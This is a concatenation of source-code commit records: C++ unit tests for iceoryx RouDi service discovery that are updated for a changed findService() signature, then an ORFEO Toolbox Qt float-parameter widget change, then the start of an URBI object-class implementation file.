receiverRuntime->findService({\"service1\", \"instance1\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance1\")));\n\n instanceContainer.clear();\n receiverRuntime->findService({\"service1\", \"instance2\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance2\")));\n\n instanceContainer.clear();\n receiverRuntime->findService({\"service1\", \"instance3\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance3\")));\n\n instanceContainer.clear();\n receiverRuntime->findService({\"service2\", \"instance1\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance1\")));\n\n instanceContainer.clear();\n receiverRuntime->findService({\"service2\", \"instance2\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance2\")));\n\n instanceContainer.clear();\n receiverRuntime->findService({\"service2\", \"instance3\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance3\")));\n}\n\nTEST_F(RoudiFindService_test, StopOfferSingleMethodServiceSingleInstance)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->stopOfferService({\"service1\", \"instance1\"});\n this->InterOpWait();\n\n iox::runtime::InstanceContainer instanceContainer;\n receiverRuntime->findService({\"service1\", \"instance1\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(0u));\n}\n\nTEST_F(RoudiFindService_test, StopOfferMultiMethodServiceSingleInstance)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n senderRuntime->offerService({\"service2\", \"instance1\"});\n senderRuntime->offerService({\"service3\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->stopOfferService({\"service1\", \"instance1\"});\n senderRuntime->stopOfferService({\"service3\", \"instance1\"});\n this->InterOpWait();\n\n iox::runtime::InstanceContainer instanceContainer;\n receiverRuntime->findService({\"service1\", \"instance1\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(0u));\n\n instanceContainer.clear();\n receiverRuntime->findService({\"service2\", \"instance1\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance1\")));\n\n instanceContainer.clear();\n receiverRuntime->findService({\"service3\", \"instance1\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(0u));\n}\n\nTEST_F(RoudiFindService_test, StopOfferServiceRedundantCall)\n{\n iox::runtime::InstanceContainer instanceContainer;\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->stopOfferService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->stopOfferService({\"service1\", \"instance1\"});\n this->InterOpWait();\n\n receiverRuntime->findService({\"service1\", \"instance1\"}, instanceContainer);\n\n ASSERT_THAT(instanceContainer.size(), Eq(0u));\n}\n\n\nTEST_F(RoudiFindService_test, StopNonExistingService)\n{\n iox::runtime::InstanceContainer instanceContainer;\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->stopOfferService({\"service2\", \"instance2\"});\n this->InterOpWait();\n\n receiverRuntime->findService({\"service1\", \"instance1\"}, instanceContainer);\n\n ASSERT_THAT(instanceContainer.size(), Eq(1));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance1\")));\n}\n\nTEST_F(RoudiFindService_test, FindNonExistingServices)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n senderRuntime->offerService({\"service2\", \"instance1\"});\n senderRuntime->offerService({\"service3\", \"instance1\"});\n this->InterOpWait();\n\n iox::runtime::InstanceContainer instanceContainer;\n receiverRuntime->findService({\"service1\", \"schlomo\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(0u));\n\n receiverRuntime->findService({\"ignatz\", \"instance1\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(0u));\n\n receiverRuntime->findService({\"ignatz\", \"schlomo\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(0u));\n}\nTEST_F(RoudiFindService_test, InterfacePort)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n\n auto interfacePortData = receiverRuntime->getMiddlewareInterface(iox::capro::Interfaces::SOMEIP);\n iox::popo::InterfacePort interfacePort(interfacePortData);\n\n this->InterOpWait();\n\n bool serviceFound = false;\n\n while (auto maybeCaProMessage = interfacePort.tryGetCaProMessage())\n {\n auto caproMessage = maybeCaProMessage.value();\n if ((caproMessage.m_serviceDescription.getServiceIDString() == IdString(\"service1\"))\n && (caproMessage.m_serviceDescription.getInstanceIDString() == IdString(\"instance1\"))\n && ((caproMessage.m_serviceDescription.getEventIDString() == IdString(iox::capro::AnyEventString))))\n {\n serviceFound = true;\n break;\n }\n }\n\n EXPECT_THAT(serviceFound, Eq(true));\n}\n\nTEST_F(RoudiFindService_test, findServiceMaxInstances)\n{\n size_t noOfInstances = iox::MAX_NUMBER_OF_INSTANCES;\n InstanceContainer instanceContainerExp;\n\n for (size_t i = 0; i < noOfInstances; i++)\n {\n \/\/ Service & Instance string is kept short , to reduce the response size in find service request ,\n \/\/ (message queue has a limit of 512)\n std::string instance = \"i\" + std::to_string(i);\n senderRuntime->offerService({\"s\", IdString(iox::cxx::TruncateToCapacity, instance)});\n instanceContainerExp.push_back(IdString(iox::cxx::TruncateToCapacity, instance));\n this->InterOpWait();\n }\n\n iox::runtime::InstanceContainer instanceContainer;\n auto status = receiverRuntime->findService({\"s\", \"65535\"}, instanceContainer);\n\n EXPECT_THAT(instanceContainer.size(), Eq(iox::MAX_NUMBER_OF_INSTANCES));\n EXPECT_TRUE(instanceContainer == instanceContainerExp);\n ASSERT_THAT(status.has_error(), Eq(false));\n}\n\nTEST_F(RoudiFindService_test, findServiceInstanceContainerOverflowError)\n{\n size_t noOfInstances = (iox::MAX_NUMBER_OF_INSTANCES + 1);\n InstanceContainer instanceContainerExp;\n for (size_t i = 0; i < noOfInstances; i++)\n {\n std::string instance = \"i\" + std::to_string(i);\n senderRuntime->offerService({\"s\", IdString(iox::cxx::TruncateToCapacity, instance)});\n instanceContainerExp.push_back(IdString(iox::cxx::TruncateToCapacity, instance));\n this->InterOpWait();\n }\n\n iox::runtime::InstanceContainer instanceContainer;\n auto status = receiverRuntime->findService({\"s\", \"65535\"}, instanceContainer);\n\n EXPECT_THAT(instanceContainer.size(), Eq(iox::MAX_NUMBER_OF_INSTANCES));\n EXPECT_TRUE(instanceContainer == instanceContainerExp);\n ASSERT_THAT(status.has_error(), Eq(true));\n}\n<commit_msg>iox-#240 adapted signature change of findservice()<commit_after>\/\/ Copyright (c) 2019 by Robert Bosch GmbH. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"test_roudi_service_discovery.hpp\"\n\nclass RoudiFindService_test : public RouDiServiceDiscoveryTest\n{\n public:\n void SetUp()\n {\n }\n\n void TearDown()\n {\n }\n\n iox::runtime::PoshRuntime* senderRuntime{&iox::runtime::PoshRuntime::getInstance(\"\/sender\")};\n iox::runtime::PoshRuntime* receiverRuntime{&iox::runtime::PoshRuntime::getInstance(\"\/receiver\")};\n};\n\nTEST_F(RoudiFindService_test, OfferSingleMethodServiceSingleInstance)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n\n auto instanceContainer = receiverRuntime->findService({\"service1\", \"instance1\"});\n\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance1\")));\n}\n\n\n\/\/\/@todo #359 offereService should return bool signalling success\/failure\nTEST_F(RoudiFindService_test, DISABLED_OfferServiceWithDefaultServiceDescriptionFails)\n{\n iox::runtime::InstanceContainer instanceContainer;\n bool isServiceOffered;\n\n \/\/\/@todo #359 offerService should not allow invalid ServiceDescriptions\n \/\/ isServiceOffered = senderRuntime->offerService(iox::capro::ServiceDescription());\n this->InterOpWait();\n\n ASSERT_EQ(false, isServiceOffered);\n}\n\nTEST_F(RoudiFindService_test, ReofferedServiceWithValidServiceDescriptionCanBeFound)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->stopOfferService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n\n auto instanceContainer = receiverRuntime->findService({\"service1\", \"instance1\"});\n\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance1\")));\n}\n\nTEST_F(RoudiFindService_test, OfferExsistingServiceMultipleTimesIsRedundant)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n\n auto instanceContainer = receiverRuntime->findService({\"service1\", \"instance1\"});\n\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance1\")));\n}\n\nTEST_F(RoudiFindService_test, FindSameServiceMultipleTimesReturnsSingleInstance)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n\n auto instanceContainer = receiverRuntime->findService({\"service1\", \"instance1\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance1\")));\n\n instanceContainer = receiverRuntime->findService({\"service1\", \"instance1\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance1\")));\n}\n\nTEST_F(RoudiFindService_test, DISABLED_OfferMultiMethodServiceSingleInstance_PERFORMANCETEST42)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n senderRuntime->offerService({\"service2\", \"instance1\"});\n senderRuntime->offerService({\"service3\", \"instance1\"});\n this->InterOpWait();\n\n auto instanceContainer = receiverRuntime->findService({\"service1\", \"instance1\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance1\")));\n\n instanceContainer = receiverRuntime->findService({\"service2\", \"instance1\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance1\")));\n\n instanceContainer = receiverRuntime->findService({\"service3\", \"instance1\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance1\")));\n}\n\nTEST_F(RoudiFindService_test, SubscribeAnyInstance)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n senderRuntime->offerService({\"service1\", \"instance2\"});\n senderRuntime->offerService({\"service1\", \"instance3\"});\n this->InterOpWait();\n InstanceContainer instanceContainerExp;\n InitContainer(instanceContainerExp, {\"instance1\", \"instance2\", \"instance3\"});\n\n auto instanceContainer = receiverRuntime->findService({\"service1\", \"65535\"});\n\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(3u));\n EXPECT_TRUE(instanceContainer.get_value() == instanceContainerExp);\n}\n\nTEST_F(RoudiFindService_test, OfferSingleMethodServiceMultiInstance)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n senderRuntime->offerService({\"service1\", \"instance2\"});\n senderRuntime->offerService({\"service1\", \"instance3\"});\n this->InterOpWait();\n\n auto instanceContainer = receiverRuntime->findService({\"service1\", \"instance1\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance1\")));\n\n instanceContainer = receiverRuntime->findService({\"service1\", \"instance2\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance2\")));\n\n instanceContainer = receiverRuntime->findService({\"service1\", \"instance3\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance3\")));\n}\n\nTEST_F(RoudiFindService_test, OfferMultiMethodServiceMultiInstance)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n senderRuntime->offerService({\"service1\", \"instance2\"});\n senderRuntime->offerService({\"service1\", \"instance3\"});\n senderRuntime->offerService({\"service2\", \"instance1\"});\n senderRuntime->offerService({\"service2\", \"instance2\"});\n senderRuntime->offerService({\"service2\", \"instance3\"});\n this->InterOpWait();\n\n auto instanceContainer = receiverRuntime->findService({\"service1\", \"instance1\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance1\")));\n\n instanceContainer = receiverRuntime->findService({\"service1\", \"instance2\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance2\")));\n\n instanceContainer = receiverRuntime->findService({\"service1\", \"instance3\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance3\")));\n\n instanceContainer = receiverRuntime->findService({\"service2\", \"instance1\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance1\")));\n\n instanceContainer = receiverRuntime->findService({\"service2\", \"instance2\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance2\")));\n\n instanceContainer = receiverRuntime->findService({\"service2\", \"instance3\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance3\")));\n}\n\nTEST_F(RoudiFindService_test, StopOfferSingleMethodServiceSingleInstance)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->stopOfferService({\"service1\", \"instance1\"});\n this->InterOpWait();\n\n auto instanceContainer = receiverRuntime->findService({\"service1\", \"instance1\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(0u));\n}\n\nTEST_F(RoudiFindService_test, StopOfferMultiMethodServiceSingleInstance)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n senderRuntime->offerService({\"service2\", \"instance1\"});\n senderRuntime->offerService({\"service3\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->stopOfferService({\"service1\", \"instance1\"});\n senderRuntime->stopOfferService({\"service3\", \"instance1\"});\n this->InterOpWait();\n\n auto instanceContainer = receiverRuntime->findService({\"service1\", \"instance1\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(0u));\n\n instanceContainer = receiverRuntime->findService({\"service2\", \"instance1\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance1\")));\n\n instanceContainer = receiverRuntime->findService({\"service3\", \"instance1\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(0u));\n}\n\nTEST_F(RoudiFindService_test, StopOfferServiceRedundantCall)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->stopOfferService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->stopOfferService({\"service1\", \"instance1\"});\n this->InterOpWait();\n\n auto instanceContainer = receiverRuntime->findService({\"service1\", \"instance1\"});\n\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(0u));\n}\n\n\nTEST_F(RoudiFindService_test, StopNonExistingService)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->stopOfferService({\"service2\", \"instance2\"});\n this->InterOpWait();\n\n auto instanceContainer = receiverRuntime->findService({\"service1\", \"instance1\"});\n\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(1));\n ASSERT_THAT(*instanceContainer.get_value().begin(), Eq(IdString(\"instance1\")));\n}\n\nTEST_F(RoudiFindService_test, FindNonExistingServices)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n senderRuntime->offerService({\"service2\", \"instance1\"});\n senderRuntime->offerService({\"service3\", \"instance1\"});\n this->InterOpWait();\n\n auto instanceContainer = receiverRuntime->findService({\"service1\", \"schlomo\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(0u));\n\n instanceContainer = receiverRuntime->findService({\"ignatz\", \"instance1\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(0u));\n\n instanceContainer = receiverRuntime->findService({\"ignatz\", \"schlomo\"});\n ASSERT_THAT(instanceContainer.get_value().size(), Eq(0u));\n}\n\nTEST_F(RoudiFindService_test, InterfacePort)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n\n auto interfacePortData = receiverRuntime->getMiddlewareInterface(iox::capro::Interfaces::SOMEIP);\n iox::popo::InterfacePort interfacePort(interfacePortData);\n this->InterOpWait();\n bool serviceFound = false;\n\n while (auto maybeCaProMessage = interfacePort.tryGetCaProMessage())\n {\n auto caproMessage = maybeCaProMessage.value();\n if ((caproMessage.m_serviceDescription.getServiceIDString() == IdString(\"service1\"))\n && (caproMessage.m_serviceDescription.getInstanceIDString() == IdString(\"instance1\"))\n && ((caproMessage.m_serviceDescription.getEventIDString() == IdString(iox::capro::AnyEventString))))\n {\n serviceFound = true;\n break;\n }\n }\n\n EXPECT_THAT(serviceFound, Eq(true));\n}\n\nTEST_F(RoudiFindService_test, findServiceMaxInstances)\n{\n size_t noOfInstances = iox::MAX_NUMBER_OF_INSTANCES;\n InstanceContainer instanceContainerExp;\n for (size_t i = 0; i < noOfInstances; i++)\n {\n \/\/ Service & Instance string is kept short , to reduce the response size in find service request ,\n \/\/ (message queue has a limit of 512)\n std::string instance = \"i\" + std::to_string(i);\n senderRuntime->offerService({\"s\", IdString(iox::cxx::TruncateToCapacity, instance)});\n instanceContainerExp.push_back(IdString(iox::cxx::TruncateToCapacity, instance));\n this->InterOpWait();\n }\n\n auto instanceContainer = receiverRuntime->findService({\"s\", \"65535\"});\n\n EXPECT_THAT(instanceContainer.get_value().size(), Eq(iox::MAX_NUMBER_OF_INSTANCES));\n EXPECT_TRUE(instanceContainer.get_value() == instanceContainerExp);\n ASSERT_THAT(instanceContainer.has_error(), Eq(false));\n}\n\nTEST_F(RoudiFindService_test, findServiceInstanceContainerOverflowError)\n{\n size_t noOfInstances = (iox::MAX_NUMBER_OF_INSTANCES + 1);\n InstanceContainer instanceContainerExp;\n for (size_t i = 0; i < noOfInstances; i++)\n {\n std::string instance = \"i\" + std::to_string(i);\n senderRuntime->offerService({\"s\", IdString(iox::cxx::TruncateToCapacity, instance)});\n instanceContainerExp.push_back(IdString(iox::cxx::TruncateToCapacity, instance));\n this->InterOpWait();\n }\n\n auto instanceContainer = receiverRuntime->findService({\"s\", \"65535\"});\n\n ASSERT_THAT(instanceContainer.has_error(), Eq(true));\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbWrapperQtWidgetFloatParameter.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\nQtWidgetFloatParameter::QtWidgetFloatParameter(FloatParameter* floatParam, QtWidgetModel* m)\n: QtWidgetParameterBase(floatParam, m),\n m_FloatParam(floatParam)\n{\n}\n\nQtWidgetFloatParameter::~QtWidgetFloatParameter()\n{\n}\n\nvoid QtWidgetFloatParameter::DoUpdateGUI()\n{\n \/\/ TODO : search for a better solution\n m_QDoubleSpinBox->setRange(m_FloatParam->GetMinimumValue(),\n m_FloatParam->GetMaximumValue());\n\n bool signalsBlocked = m_QDoubleSpinBox->blockSignals( true );\n\n if (m_FloatParam->HasValue())\n {\n m_QDoubleSpinBox->setValue(m_FloatParam->GetValue());\n }\n m_QDoubleSpinBox->blockSignals( signalsBlocked );\n\n QFont font = m_QDoubleSpinBox->font();\n if (m_FloatParam->HasUserValue())\n {\n font.setBold(true);\n }\n else\n {\n font.setBold(false);\n }\n m_QDoubleSpinBox->setFont(font);\n}\n\nvoid QtWidgetFloatParameter::DoCreateWidget()\n{\n m_QHBoxLayout = new QHBoxLayout;\n m_QHBoxLayout->setSpacing(0);\n m_QHBoxLayout->setContentsMargins(0, 0, 0, 0);\n\n m_QDoubleSpinBox = new QDoubleSpinBox;\n m_QDoubleSpinBox->setDecimals(5);\n m_QDoubleSpinBox->setSingleStep(0.1);\n m_QDoubleSpinBox->setRange(m_FloatParam->GetMinimumValue(), m_FloatParam->GetMaximumValue());\n m_QDoubleSpinBox->setToolTip(m_FloatParam->GetDescription());\n\n connect( m_QDoubleSpinBox, SIGNAL(valueChanged(double)), this, SLOT(SetValue(double)) );\n connect( m_QDoubleSpinBox, SIGNAL(valueChanged(double)), GetModel(), SLOT(NotifyUpdate()) );\n connect( GetModel(), SIGNAL(UpdateGui()), this, SLOT(UpdateGUI() ) );\n\n m_QHBoxLayout->addWidget(m_QDoubleSpinBox);\n m_QHBoxLayout->addStretch();\n\n this->setLayout(m_QHBoxLayout);\n}\n\nvoid QtWidgetFloatParameter::SetValue(double value)\n{\n m_FloatParam->SetValue( static_cast<float>(value) );\n m_FloatParam->SetUserValue(true);\n}\n\n}\n}\n<commit_msg>ENH: turning AutomaticValue to Off when a UserValue is set<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbWrapperQtWidgetFloatParameter.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\nQtWidgetFloatParameter::QtWidgetFloatParameter(FloatParameter* floatParam, QtWidgetModel* m)\n: QtWidgetParameterBase(floatParam, m),\n m_FloatParam(floatParam)\n{\n}\n\nQtWidgetFloatParameter::~QtWidgetFloatParameter()\n{\n}\n\nvoid QtWidgetFloatParameter::DoUpdateGUI()\n{\n \/\/ TODO : search for a better solution\n m_QDoubleSpinBox->setRange(m_FloatParam->GetMinimumValue(),\n m_FloatParam->GetMaximumValue());\n\n bool signalsBlocked = m_QDoubleSpinBox->blockSignals( true );\n\n if (m_FloatParam->HasValue())\n {\n m_QDoubleSpinBox->setValue(m_FloatParam->GetValue());\n }\n m_QDoubleSpinBox->blockSignals( signalsBlocked );\n\n QFont font = m_QDoubleSpinBox->font();\n if (m_FloatParam->HasUserValue())\n {\n font.setBold(true);\n }\n else\n {\n font.setBold(false);\n }\n m_QDoubleSpinBox->setFont(font);\n}\n\nvoid QtWidgetFloatParameter::DoCreateWidget()\n{\n m_QHBoxLayout = new QHBoxLayout;\n m_QHBoxLayout->setSpacing(0);\n m_QHBoxLayout->setContentsMargins(0, 0, 0, 0);\n\n m_QDoubleSpinBox = new QDoubleSpinBox;\n m_QDoubleSpinBox->setDecimals(5);\n m_QDoubleSpinBox->setSingleStep(0.1);\n m_QDoubleSpinBox->setRange(m_FloatParam->GetMinimumValue(), m_FloatParam->GetMaximumValue());\n m_QDoubleSpinBox->setToolTip(m_FloatParam->GetDescription());\n\n connect( m_QDoubleSpinBox, SIGNAL(valueChanged(double)), this, SLOT(SetValue(double)) );\n connect( m_QDoubleSpinBox, SIGNAL(valueChanged(double)), GetModel(), SLOT(NotifyUpdate()) );\n connect( GetModel(), SIGNAL(UpdateGui()), this, SLOT(UpdateGUI() ) );\n\n m_QHBoxLayout->addWidget(m_QDoubleSpinBox);\n m_QHBoxLayout->addStretch();\n\n this->setLayout(m_QHBoxLayout);\n}\n\nvoid QtWidgetFloatParameter::SetValue(double value)\n{\n m_FloatParam->SetValue( static_cast<float>(value) );\n m_FloatParam->SetUserValue(true);\n m_FloatParam->SetAutomaticValue(false);\n}\n\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n ** \\file object\/object-class.cc\n ** \\brief Creation of the URBI object object.\n *\/\n\n\/\/#define ENABLE_DEBUG_TRACES\n\n#include <boost\/bind.hpp>\n\n#include <libport\/compiler.hh>\n#include <libport\/containers.hh>\n#include <libport\/escape.hh>\n#include <libport\/foreach.hh>\n#include <libport\/tokenizer.hh>\n\n#include <kernel\/uconnection.hh>\n\n#include <object\/cxx-primitive.hh>\n#include <object\/float.hh>\n#include <object\/global.hh>\n#include <object\/list.hh>\n#include <object\/object.hh>\n#include <object\/object.hh>\n#include <object\/string.hh>\n\n#include <runner\/call.hh>\n#include <runner\/runner.hh>\n\nnamespace object\n{\n rObject object_class;\n\n \/*--------------------.\n | Object primitives. |\n `--------------------*\/\n\n static rObject\n object_class_clone (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 0);\n\n return args[0]->clone();\n }\n\n static rObject\n object_class_init (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 0);\n return args[0];\n }\n\n \/\/\/ Send dumped self on the connection.\n \/\/\/ args[1], if present, can be the tag to use.\n static rObject\n object_class_dump (runner::Runner& r, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1, 2);\n\n \/\/ Second argument is max depth.\n int depth_max = 0;\n if (args.size() >= 2)\n {\n type_check(args[1], Float::proto);\n const rFloat& arg1 = args[1]->as<Float>();\n try\n {\n\tdepth_max = libport::ufloat_to_int(arg1->value_get());\n }\n catch (libport::bad_numeric_cast& ue)\n {\n\tthrow BadInteger(arg1->value_get(), SYMBOL(dump));\n }\n }\n\n \/\/ Third argument is the tag name.\n std::string tag;\n if (args.size() >= 3)\n {\n const rString& arg2 = args[2].unsafe_cast<String>();\n assert(arg2);\n tag = arg2->value_get();\n }\n\n std::ostringstream os;\n args[0]->dump(os, r, depth_max);\n \/\/for now our best choice is to dump line by line in \"system\" messages.\n const std::string stream = os.str();\n boost::tokenizer< boost::char_separator<char> > tok =\n libport::make_tokenizer(stream, \"\\n\");\n const std::string system_header(\"*** \");\n foreach(const std::string& line, tok)\n r.send_message(tag, system_header+line);\n return void_class;\n }\n\n \/\/\/ Return the address of an object as a number, mostly\n \/\/\/ for debugging purpose.\n static rObject\n object_class_uid (runner::Runner&, objects_type& args)\n {\n static boost::format uid(\"0x%x\");\n check_arg_count(args.size() - 1, 0);\n return\n new String(str(uid % reinterpret_cast<long long>(args[0].get())));\n }\n\n \/\/\/ Structural equality\n static rObject\n object_class_EQ_EQ(runner::Runner& r, objects_type& args)\n {\n \/\/ Unless overridden, structural equality is physical equality.\n check_arg_count(args.size() - 1, 1);\n return urbi_call(r, args[0], SYMBOL(EQ_EQ_EQ), args[1]);\n }\n\n \/\/\/ Physical equality\n static rObject\n object_class_EQ_EQ_EQ(runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n return to_boolean(args[0] == args[1]);\n }\n\n static rObject\n object_class_apply(runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n type_check(args[1], List::proto);\n const rList& arg1 = args[1]->as<List>();\n if (arg1->value_get ().size () != 1 || arg1->value_get().front() != args[0])\n throw PrimitiveError(SYMBOL(apply), \"first argument must be [this]\");\n return arg1->value_get().front();\n }\n\n static rObject\n object_class_callMessage (runner::Runner& r, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n \/\/ We need to set the 'code' slot: make a copy of the call message.\n rObject call_message = args[1]->clone();\n const rObject& message = call_message->slot_get(SYMBOL(message));\n type_check(message, String::proto);\n const libport::Symbol msg = libport::Symbol(message->as<String>()->value_get());\n const rObject& target = args[0];\n const rObject& code = target->slot_get(msg);\n call_message->slot_update(r, SYMBOL(code), code);\n call_message->slot_update(r, SYMBOL(target), target);\n \/\/ FIXME: Sanity checks on the call message are probably required\n return r.apply_call_message(code, msg, call_message);\n }\n\n \/*---------.\n | Protos. |\n `---------*\/\n\n \/\/\/ Adding or removing protos. \\a Verb is \"add\" or \"remove\".\n#define CHANGE_PARENTS(Verb) \\\n static rObject \\\n object_class_ ## Verb ## Proto (runner::Runner&, \\\n objects_type& args) \\\n {\t\t\t\t\t\t\t\t\t\\\n check_arg_count(args.size() - 1, 1); 